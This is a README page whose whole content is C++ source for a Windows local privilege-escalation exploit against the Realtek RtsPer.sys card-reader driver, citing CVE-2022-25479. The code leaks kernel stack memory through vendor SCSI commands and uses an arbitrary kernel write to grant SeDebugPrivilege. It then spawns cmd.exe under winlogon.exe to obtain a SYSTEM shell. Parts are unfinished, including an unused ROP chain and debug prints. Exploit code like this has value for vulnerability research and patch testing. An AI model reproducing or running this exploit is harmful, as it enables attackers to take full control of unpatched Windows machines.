README.md
Rendering markdown...
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <winternl.h>
#include <SetupAPI.h>
#include <ntddscsi.h>
#include <initguid.h>
#include <stdio.h>
#include <Psapi.h>
#include <tlhelp32.h>
#include <map>
#pragma comment( lib, "ntdll" )
#define SystemModuleInformation 0xb
//
// From wdm.h
//
#define PCI_TYPE0_ADDRESSES 6
#define PCI_TYPE1_ADDRESSES 2
#define PCI_TYPE2_ADDRESSES 5
#pragma comment (lib, "Setupapi.lib")
#pragma warning (disable: 4703)
typedef struct _PCI_COMMON_HEADER {
USHORT VendorID; // (ro)
USHORT DeviceID; // (ro)
USHORT Command; // Device control
USHORT Status;
UCHAR RevisionID; // (ro)
UCHAR ProgIf; // (ro)
UCHAR SubClass; // (ro)
UCHAR BaseClass; // (ro)
UCHAR CacheLineSize; // (ro+)
UCHAR LatencyTimer; // (ro+)
UCHAR HeaderType; // (ro)
UCHAR BIST; // Built in self test
union {
struct _PCI_HEADER_TYPE_0 {
ULONG BaseAddresses[PCI_TYPE0_ADDRESSES];
ULONG CIS;
USHORT SubVendorID;
USHORT SubSystemID;
ULONG ROMBaseAddress;
UCHAR CapabilitiesPtr;
UCHAR Reserved1[3];
ULONG Reserved2;
UCHAR InterruptLine; //
UCHAR InterruptPin; // (ro)
UCHAR MinimumGrant; // (ro)
UCHAR MaximumLatency; // (ro)
} type0;
//
// PCI to PCI Bridge
//
struct _PCI_HEADER_TYPE_1 {
ULONG BaseAddresses[PCI_TYPE1_ADDRESSES];
UCHAR PrimaryBus;
UCHAR SecondaryBus;
UCHAR SubordinateBus;
UCHAR SecondaryLatency;
UCHAR IOBase;
UCHAR IOLimit;
USHORT SecondaryStatus;
USHORT MemoryBase;
USHORT MemoryLimit;
USHORT PrefetchBase;
USHORT PrefetchLimit;
ULONG PrefetchBaseUpper32;
ULONG PrefetchLimitUpper32;
USHORT IOBaseUpper16;
USHORT IOLimitUpper16;
UCHAR CapabilitiesPtr;
UCHAR Reserved1[3];
ULONG ROMBaseAddress;
UCHAR InterruptLine;
UCHAR InterruptPin;
USHORT BridgeControl;
} type1;
//
// PCI to CARDBUS Bridge
//
struct _PCI_HEADER_TYPE_2 {
ULONG SocketRegistersBaseAddress;
UCHAR CapabilitiesPtr;
UCHAR Reserved;
USHORT SecondaryStatus;
UCHAR PrimaryBus;
UCHAR SecondaryBus;
UCHAR SubordinateBus;
UCHAR SecondaryLatency;
struct {
ULONG Base;
ULONG Limit;
} Range[PCI_TYPE2_ADDRESSES - 1];
UCHAR InterruptLine;
UCHAR InterruptPin;
USHORT BridgeControl;
} type2;
} u;
} PCI_COMMON_HEADER, * PPCI_COMMON_HEADER;
//SCSI commands used in the PoC
constexpr UCHAR SD_CMD_READ_CAPACITY = 0x25;
constexpr UCHAR SD_CMD_NO_SUCH_CMD = 0x30;
//vendor-specific commands
constexpr UCHAR SD_CMD_VNDR = 0xF0;
//vendor-specific subcommand 0x0A
constexpr UCHAR SD_CMD_VNDR_0A = 0x0A;
//vendor-specific subcommand app command
constexpr UCHAR SD_CMD_VNDR_APP = 0x10;
//app command buffer subcommand
constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF = 0xE0;
//command buffer subcommands
constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF_INIT = 0x41;
constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF_ADDCMD = 0x42;
constexpr UCHAR SD_CMD_VNDR_APP_CMDBUF_FETCH = 0x44;
//code 0x2D2328
#define IOCTL_GET_LOG CTL_CODE(FILE_DEVICE_MASS_STORAGE, 0x8CA, METHOD_BUFFERED, FILE_ANY_ACCESS)
//code 0x2D2190
#define IOCTL_READ_PCI_CONFIG CTL_CODE(FILE_DEVICE_MASS_STORAGE, 0x864, METHOD_BUFFERED, FILE_ANY_ACCESS)
//code 0x2D2194
#define IOCTL_WRITE_PCI_CONFIG CTL_CODE(FILE_DEVICE_MASS_STORAGE, 0x865, METHOD_BUFFERED, FILE_ANY_ACCESS)
DEFINE_GUID(DevInterfaceGuid, 0xb6a6b22e, 0xd723, 0x4e95, 0xa5, 0x18, 0x6c, 0xbd, 0xbf, 0xa8, 0xcb, 0x61);
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
// I'm a lazy ass; I don't want to allocate memory manually.
CHAR LogData[0x100000];
ULONGLONG krnlBase = 0;
ULONG krnlSize = 0;
typedef struct
{
ULONGLONG value;
int count;
} EntryType;
ULONGLONG FindStuff(HANDLE hDevice)
{
constexpr SIZE_T ntAddr = 0x110;
constexpr SIZE_T ScsiBufferLength = 0x300;
constexpr DWORD NtAddrNoChangeMinimum = 0x100;
struct
{
SCSI_PASS_THROUGH Spt;
UCHAR Buffer[ScsiBufferLength];
} SptBuf;
//
// Leak the stack until the value of SystemBuffer remains the same for NtAddrNoChangeMinimum consecutive times.
//
DWORD Counter = 0;
ULONG_PTR PrevBufferAddress = 0;
DWORD BytesReturned;
for (;;)
{
RtlZeroMemory(&SptBuf, sizeof(SptBuf));
SptBuf.Spt.Length = sizeof(SptBuf.Spt);
SptBuf.Spt.Cdb[0] = SD_CMD_VNDR; //0xF0
SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_0A; //0x0A
SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH);
SptBuf.Spt.DataTransferLength = 0x300;
BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0);
if (r == FALSE)
{
printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError());
}
else
{
PULONG_PTR p = (PULONG_PTR)(&SptBuf.Buffer[ntAddr]);
printf("%p\n", *p);
if (PrevBufferAddress == *p)
{
Counter++;
}
else
{
PrevBufferAddress = *p;
Counter = 0;
}
}
if (Counter >= NtAddrNoChangeMinimum)
{
printf("NtAddr at %p didn't change %d times\n", PrevBufferAddress, Counter);
break;
}
}
return PrevBufferAddress;
}
VOID DumpBuffer(PVOID Buffer, ULONG Length)
{
PUCHAR buf = (PUCHAR)Buffer;
for (ULONG i = 0; i < Length; i += 0x10)
{
printf("%08lx ", i); // Print the offset
// Print the hex representation
for (ULONG j = 0; j < 0x10; ++j)
{
if (i + j < Length)
{
printf("%02x ", buf[i + j]);
}
else
{
printf(" "); // Padding for incomplete row
}
}
// Print the ASCII representation
printf(" ");
for (ULONG j = 0; j < 0x10; ++j)
{
if (i + j < Length)
{
unsigned char c = buf[i + j];
printf("%c", isprint(c) ? c : '.');
}
}
printf("\n");
}
}
BOOL ReadAddressHex(PULONG_PTR OutAddress)
{
CHAR StrAddress[17];
BOOL r = FALSE;
*OutAddress = 0;
if (scanf("%16s", StrAddress) != 1)
{
printf("Input error\n");
return r;
}
r = TRUE;
for (int i = 0; i < 16 && StrAddress[i] != '\0'; i++)
{
if (isxdigit(StrAddress[i]) == 0)
{
r = FALSE;
break;
}
}
*OutAddress = strtoull(StrAddress, nullptr, 16);
return r;
}
HANDLE OpenRealtekDeivce()
{
HANDLE hDevice = INVALID_HANDLE_VALUE;
HDEVINFO hDevInfo = SetupDiGetClassDevsW(
&DevInterfaceGuid,
nullptr,
nullptr,
DIGCF_PRESENT | DIGCF_DEVICEINTERFACE
);
if (hDevInfo == INVALID_HANDLE_VALUE)
{
printf("SetupDiGetClassDevsW failed: %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
SP_DEVICE_INTERFACE_DATA InterfaceData;
ZeroMemory(&InterfaceData, sizeof(SP_DEVICE_INTERFACE_DATA));
InterfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA);
BOOL r = SetupDiEnumDeviceInterfaces(
hDevInfo,
nullptr,
&DevInterfaceGuid,
0,
&InterfaceData
);
if (r == FALSE)
{
printf("SetupDiEnumDeviceInterfaces failed: %d\n", GetLastError());
SetupDiDestroyDeviceInfoList(hDevInfo);
}
DWORD RequiredSize = 0;
SetupDiGetDeviceInterfaceDetailW(
hDevInfo,
&InterfaceData,
0,
0,
&RequiredSize,
0
);
DWORD err = GetLastError();
if (err != ERROR_INSUFFICIENT_BUFFER)
{
printf("SetupDiGetDeviceInterfaceDetailW unexpected error: %d\n", err);
SetupDiDestroyDeviceInfoList(hDevInfo);
return INVALID_HANDLE_VALUE;
}
PSP_DEVICE_INTERFACE_DETAIL_DATA pDetailData = (PSP_DEVICE_INTERFACE_DETAIL_DATA)HeapAlloc(GetProcessHeap(), 0, RequiredSize);
if (pDetailData)
{
pDetailData->cbSize = sizeof(*pDetailData);
r = SetupDiGetDeviceInterfaceDetailW(
hDevInfo,
&InterfaceData,
pDetailData,
RequiredSize,
&RequiredSize,
0);
if (r == FALSE)
{
printf("SetupDiGetDeviceInterfaceDetailW failed: %d\n", GetLastError());
}
else
{
hDevice = CreateFileW(
pDetailData->DevicePath,
0x001201bf,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("CreateFileW failed: %d\n", GetLastError());
}
}
}
if (pDetailData != nullptr)
{
HeapFree(GetProcessHeap(), 0, pDetailData);
}
SetupDiDestroyDeviceInfoList(hDevInfo);
return hDevice;
}
BOOL LeakKernelStack(HANDLE hDevice, PVOID Buffer, ULONG Length)
{
//
// Leaks content from the stack of the request.
//
SCSI_PASS_THROUGH_DIRECT Sptd;
RtlZeroMemory(&Sptd, sizeof(Sptd));
Sptd.Length = sizeof(Sptd);
Sptd.Cdb[0] = SD_CMD_VNDR;
Sptd.Cdb[1] = SD_CMD_VNDR_0A;
Sptd.DataBuffer = Buffer;
Sptd.DataTransferLength = Length;
RtlFillMemory(Buffer, Length, 0xDD);
DWORD BytesReturned;
BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH_DIRECT, &Sptd, sizeof(Sptd), &Sptd, sizeof(Sptd), &BytesReturned, 0);
if (r == FALSE)
{
printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH_DIRECT leak stack failed: %d\n", GetLastError());
}
return r;
}
ULONGLONG get_pte_address_64(ULONGLONG address, ULONGLONG pte_start)
{
ULONGLONG pte_va = address >> 9;
pte_va = pte_va | pte_start;
pte_va = pte_va & (pte_start + 0x0000007ffffffff8);
return pte_va;
}
ULONGLONG get_pml4_address_64(ULONGLONG pte_start)
{
ULONGLONG pml4_start = pte_start & 0x0000fff000000000;
pml4_start = pml4_start | (pml4_start >> 9);
pml4_start = pml4_start | (pml4_start >> 9);
pml4_start = pml4_start | (pml4_start >> 9);
pml4_start = pml4_start | 0xffff000000000000;
return pml4_start;
}
ULONGLONG LeakQWORDAtOffset(HANDLE hDevice, ULONG offset)
{
//
// Leaks content from the stack of the request.
//
SCSI_PASS_THROUGH_DIRECT Sptd;
UCHAR Buffer[0x800] = {};
RtlZeroMemory(&Sptd, sizeof(Sptd));
Sptd.Length = sizeof(Sptd);
Sptd.Cdb[0] = SD_CMD_VNDR;
Sptd.Cdb[1] = SD_CMD_VNDR_0A;
Sptd.DataBuffer = Buffer;
Sptd.DataTransferLength = 0x600;
RtlFillMemory(Buffer, 0x600, 0xDD);
DWORD BytesReturned;
BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH_DIRECT, &Sptd, sizeof(Sptd), &Sptd, sizeof(Sptd), &BytesReturned, 0);
if (r == FALSE)
{
printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH_DIRECT leak stack failed: %d\n", GetLastError());
}
ULONGLONG res = *(ULONGLONG*)(Buffer + offset);
//printf("%p\n", res);
return res;
}
VOID WriteKernelAddressByte(HANDLE hDevice, ULONG_PTR KernelAddress, UCHAR Value)
{
//
// This PoC is a bit trickier than the others. The vulnerability allows writing to an arbitrary kernel address.
// The write is relative to the SystemBuffer, so we need to know the address of SystemBuffer in advance.
// To figure it out, we leak the stack using CVE-2022-25479 in an endless loop, extract the address of SystemBuffer each time,
// and compare it to the value extracted at the previous iteration.
// At some point the memory manager's determinism kicks in by allocating the same address for the SystemBuffer repeatedly.
// Once we see that the address of the SystemBuffer hasn't changed, say, 256 times, it's safe to assume it won't change the 257th time.
//
// RtsPer.sys copies the output of the SCSI request to the SystemBuffer at the user-provided offset.
// To write arbitrary data to kernel memory, we need to control the output of the request.
// The easiest way to achieve this is to use the driver's command buffer controls, which allow writing data to the command buffer and fetching data from it.
// To write the value to the target address, we first write it to the command buffer
// and then fetch it back, providing an offset between the target address and the SystemBuffer.
//
// The offset of SystemBuffer in the stack dump differs across versions of the driver.
constexpr SIZE_T SystemBufferStackOffset_RtsPer_10_0_16299_21305 = 0x230;
constexpr SIZE_T ScsiBufferLength = 0x300;
constexpr DWORD SystemBufferNoChangeMinimum = 0x100;
struct
{
SCSI_PASS_THROUGH Spt;
UCHAR Buffer[ScsiBufferLength];
} SptBuf;
//
// Leak the stack until the value of SystemBuffer remains the same for SystemBufferNoChangeMinimum consecutive times.
//
DWORD Counter = 0;
ULONG_PTR PrevBufferAddress = 0;
DWORD BytesReturned;
for (;;)
{
RtlZeroMemory(&SptBuf, sizeof(SptBuf));
SptBuf.Spt.Length = sizeof(SptBuf.Spt);
SptBuf.Spt.Cdb[0] = SD_CMD_VNDR; //0xF0
SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_0A; //0x0A
SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH);
SptBuf.Spt.DataTransferLength = 0x300;
BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0);
if (r == FALSE)
{
printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError());
}
else
{
PULONG_PTR p = (PULONG_PTR)(&SptBuf.Buffer[SystemBufferStackOffset_RtsPer_10_0_16299_21305]);
//printf("%p\n", *p);
if (PrevBufferAddress == *p)
{
Counter++;
}
else
{
PrevBufferAddress = *p;
Counter = 0;
}
}
if (Counter >= SystemBufferNoChangeMinimum)
{
printf("SystemBuffer at %p didn't change %d times\n", PrevBufferAddress, Counter);
break;
}
}
//
// Calculate the offset from the SystemBuffer to the target kernel address.
//
ULONG_PTR KernelAddressOffset = KernelAddress - PrevBufferAddress;
//
// Initialize the command buffer.
//
RtlZeroMemory(&SptBuf, sizeof(SptBuf));
SptBuf.Spt.Length = sizeof(SptBuf.Spt);
SptBuf.Spt.Cdb[0] = SD_CMD_VNDR; //0xF0
SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_APP; //0x10
SptBuf.Spt.Cdb[2] = SD_CMD_VNDR_APP_CMDBUF; //0xE0
SptBuf.Spt.Cdb[3] = SD_CMD_VNDR_APP_CMDBUF_INIT; //0x41
SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH);
SptBuf.Spt.DataTransferLength = 0x4;
BOOL r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0);
if (r == FALSE)
{
printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError());
}
else
{
printf("Command buffer initialized\n");
}
//
// Write the value we want to copy to the target address to the command buffer.
// For simplicity, the PoC writes only 1 byte, but it's possible to write more than a byte with a single request.
//
RtlZeroMemory(&SptBuf, sizeof(SptBuf));
SptBuf.Spt.Length = sizeof(SptBuf.Spt);
SptBuf.Spt.Cdb[0] = SD_CMD_VNDR; //0xF0
SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_APP; //0x10
SptBuf.Spt.Cdb[2] = SD_CMD_VNDR_APP_CMDBUF; //0xE0
SptBuf.Spt.Cdb[3] = SD_CMD_VNDR_APP_CMDBUF_ADDCMD; //0x42
SptBuf.Spt.Cdb[8] = Value;
r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0);
if (r == FALSE)
{
printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError());
}
else
{
printf("Command buffer written\n");
}
//
// Finally, fetch previously written data from the command buffer.
// The data will be written to the target kernel address.
//
SptBuf.Spt.Cdb[0] = SD_CMD_VNDR; //0xF0
SptBuf.Spt.Cdb[1] = SD_CMD_VNDR_APP; //0x10
SptBuf.Spt.Cdb[2] = SD_CMD_VNDR_APP_CMDBUF; //0xE0
SptBuf.Spt.Cdb[3] = SD_CMD_VNDR_APP_CMDBUF_FETCH; //0x44
SptBuf.Spt.DataBufferOffset = KernelAddressOffset;
SptBuf.Spt.DataTransferLength = 0x1;
r = DeviceIoControl(hDevice, IOCTL_SCSI_PASS_THROUGH, &SptBuf, sizeof(SptBuf), &SptBuf, sizeof(SptBuf), &BytesReturned, 0);
if (r == FALSE)
{
printf("DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n", GetLastError());
}
else
{
printf("Command buffer copied to the target address\n");
}
}
ULONG GetPidByName(const wchar_t* procname) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
ULONG pid;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (wcscmp(entry.szExeFile, procname) == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
return pid;
}
DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;
// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Finally, create the process
ret = CreateProcessA(
NULL,
command,
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);
if (ret == false) {
printf("Error creating new process (%d)\n", GetLastError());
return 3;
}
printf("Enjoy your new SYSTEM process\n");
return 0;
}
int main() {
HANDLE hDevice = OpenRealtekDeivce();
if (hDevice == INVALID_HANDLE_VALUE)
{
return -1;
}
//these 2 needs to be filled in
printf("muie\n");
ULONGLONG rtsbase = LeakQWORDAtOffset(hDevice, 0x40) - 0xa3ad8;
printf("%p", rtsbase);
printf("muie2\n");
LeakQWORDAtOffset(hDevice, 1168);
printf("muie3\n");
//UCHAR StackContent[0x170] = {};
ULONGLONG fakestack_pivot = (ULONGLONG)rtsbase + 0x20bbc2; // 0x14003baf3: mov esp, 0x3B000020 ; ret ; (1 found)
ULONGLONG allocation_addr = 0x3A000000;
PVOID kThread = 0;
ULONGLONG nt_base = 0;
LPVOID fakestack = VirtualAlloc((LPVOID)allocation_addr, 0x14000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (fakestack == NULL)
{
printf("[!] Error while allocating memory for the input buffer: %d\n", GetLastError());
exit(1);
}
memset(fakestack, 0x90, 0x14000);
//mov byte \[r..\]. cl
//0x1400a70db: mov byte [r14], cl ; add rsp, 0x30 ; pop r14 ; ret ; (1 found)
//0x14000320e: pop r14; ret; (1 found)
//0x1400ee1d3: pop rcx; ret; (1 found)
((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x00))[0] = (ULONGLONG)rtsbase + 0x0320e; //0x14000320e: pop r14; ret; (1 found)
((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x08))[0] = (ULONGLONG)kThread + 0x232; // KTHREAD.PreviousMode
((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x10))[0] = (ULONGLONG)rtsbase + 0xee1d3; // 0x1400ee1d3: pop rcx; ret; (1 found)
((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x18))[0] = (ULONGLONG)rtsbase + 0xee1d3; // 0x1400ee1d3: pop rcx; ret; (1 found)
((PDWORD64)((DWORD64)fakestack + 0x10020 + 0x20))[0] = (ULONGLONG)rtsbase + 0x0a70db; // mov byte [r14], cl ; add rsp, 0x30 ; pop r14 ; ret ; (1 found)
/*
printf("Leaking 0x80 bytes of kernel stack\n");
BOOL r = LeakKernelStack(hDevice, StackContent, 0x160);
if (r == FALSE)
{
printf("Failed\n");
}
else
{
printf("Succes, printing buffer:\n");
DumpBuffer(StackContent, 0x160);
}*/
//LeakQWORDAtOffset(hDevice, 0x3e8);
/*
for (ULONG i = 1000; i < 0x600; i += 8)
{
ULONGLONG res = LeakQWORDAtOffset(hDevice, i);
if ((res & 0xfffff80428400000) == 0xfffff80428400000)
{
printf("Found 0x%llx at offset %d\n", res, i);
break;
}
}*/
ULONG len = 0;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pModuleInfo, len, &len);
krnlBase = (ULONGLONG)pModuleInfo->Modules[0].ImageBaseAddress;
krnlSize = pModuleInfo->Modules[0].ImageSize;
ULONG index = 0;
printf("please tell me the index to leak nt\n");
LeakQWORDAtOffset(hDevice, 0x110 - 72);
nt_base = FindStuff(hDevice) - 0x3151af;
printf("%p", nt_base);
size_t SeDebugPrivilegeOffset = 0xD54A18;
WriteKernelAddressByte(hDevice, nt_base + SeDebugPrivilegeOffset, 0x17);
ULONG winlogonPid = GetPidByName(L"winlogon.exe");
printf("Winlogon pid: %d\n", winlogonPid);
HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogonPid);
HRESULT apa = GetLastError();
printf("%p", apa);
CreateProcessFromHandle(hWinLogon, (LPSTR)"C:\\Windows\\system32\\cmd.exe");
WriteKernelAddressByte(hDevice, nt_base + SeDebugPrivilegeOffset, 0x14);
CloseHandle(hDevice);
return 0;
}